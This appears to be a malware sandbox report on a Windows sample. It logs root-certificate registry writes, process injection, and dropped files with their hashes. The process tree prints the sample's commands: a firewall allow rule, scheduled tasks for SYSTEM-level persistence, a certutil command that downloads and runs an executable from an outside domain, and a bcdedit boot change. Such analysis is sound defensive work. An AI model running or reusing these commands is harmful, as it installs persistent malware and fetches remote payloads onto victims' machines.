\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 csrss.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.execsrss.exepid process 1884 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe 1316 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe 1220 csrss.exe 1220 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.execsrss.exedescription pid process Token: SeDebugPrivilege 1884 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Token: SeImpersonatePrivilege 1884 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Token: SeSystemEnvironmentPrivilege 1220 csrss.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.execmd.execsrss.exedescription pid process target process PID 1316 wrote to memory of 1340 1316 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe cmd.exe PID 1316 wrote to memory of 1340 1316 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe cmd.exe PID 1316 wrote to memory of 1340 1316 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe cmd.exe PID 1316 wrote to memory of 1340 1316 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe cmd.exe PID 1340 wrote to memory of 952 1340 cmd.exe netsh.exe PID 1340 wrote to memory of 952 1340 cmd.exe netsh.exe PID 1340 wrote to memory of 952 1340 cmd.exe netsh.exe PID 1316 wrote to memory of 1220 1316 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe csrss.exe PID 1316 wrote to memory of 1220 1316 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe csrss.exe PID 1316 wrote to memory of 1220 1316 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe csrss.exe PID 1316 wrote to memory of 1220 1316 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe csrss.exe PID 1220 wrote to memory of 632 1220 csrss.exe bcdedit.exe PID 1220 wrote to memory of 632 1220 csrss.exe bcdedit.exe PID 1220 wrote to memory of 632 1220 csrss.exe bcdedit.exe PID 1220 wrote to memory of 632 1220 csrss.exe bcdedit.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe"C:\Users\Admin\AppData\Local\Temp\1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe"C:\Users\Admin\AppData\Local\Temp\1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220524161137.log C:\Windows\Logs\CBS\CbsPersist_20220524161137.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5b6cbd52f048d0b356f1b67ff2e783860
SHA12539e01b0d761b64c4a74da6a2ebe2da85e68214
SHA2561949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216
SHA5122b0072427aef5d3ee5a0411309f018b2c6c4b126c6eb2a4f1d996a6e7ced5e8849558a3a6bdce45b41b9c2f98378a610cb8ea24dba5e76edc2756a39340ec2a8
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.8MB
MD5b6cbd52f048d0b356f1b67ff2e783860
SHA12539e01b0d761b64c4a74da6a2ebe2da85e68214
SHA2561949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216
SHA5122b0072427aef5d3ee5a0411309f018b2c6c4b126c6eb2a4f1d996a6e7ced5e8849558a3a6bdce45b41b9c2f98378a610cb8ea24dba5e76edc2756a39340ec2a8
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\Windows\rss\csrss.exeFilesize
3.8MB
MD5b6cbd52f048d0b356f1b67ff2e783860
SHA12539e01b0d761b64c4a74da6a2ebe2da85e68214
SHA2561949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216
SHA5122b0072427aef5d3ee5a0411309f018b2c6c4b126c6eb2a4f1d996a6e7ced5e8849558a3a6bdce45b41b9c2f98378a610cb8ea24dba5e76edc2756a39340ec2a8
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memory/632-84-0x0000000000000000-mapping.dmp
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memory/952-60-0x0000000000000000-mapping.dmp
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memory/952-63-0x000007FEFBCA1000-0x000007FEFBCA3000-memory.dmpFilesize
8KB
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memory/1220-68-0x0000000002750000-0x0000000002AF6000-memory.dmpFilesize
3.6MB
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memory/1220-70-0x0000000000400000-0x00000000025CC000-memory.dmpFilesize
33.8MB
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memory/1220-69-0x0000000002750000-0x0000000002AF6000-memory.dmpFilesize
3.6MB
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memory/1220-66-0x0000000000000000-mapping.dmp
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memory/1316-62-0x0000000000400000-0x00000000025CC000-memory.dmpFilesize
33.8MB
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memory/1316-61-0x0000000002850000-0x0000000002BF6000-memory.dmpFilesize
3.6MB
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memory/1316-58-0x0000000002850000-0x0000000002BF6000-memory.dmpFilesize
3.6MB
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memory/1340-59-0x0000000000000000-mapping.dmp
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memory/1884-54-0x0000000002960000-0x0000000002D06000-memory.dmpFilesize
3.6MB
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memory/1884-57-0x0000000000400000-0x00000000025CC000-memory.dmpFilesize
33.8MB
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memory/1884-56-0x0000000002D10000-0x0000000003405000-memory.dmpFilesize
7.0MB
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memory/1884-55-0x0000000002960000-0x0000000002D06000-memory.dmpFilesize
3.6MB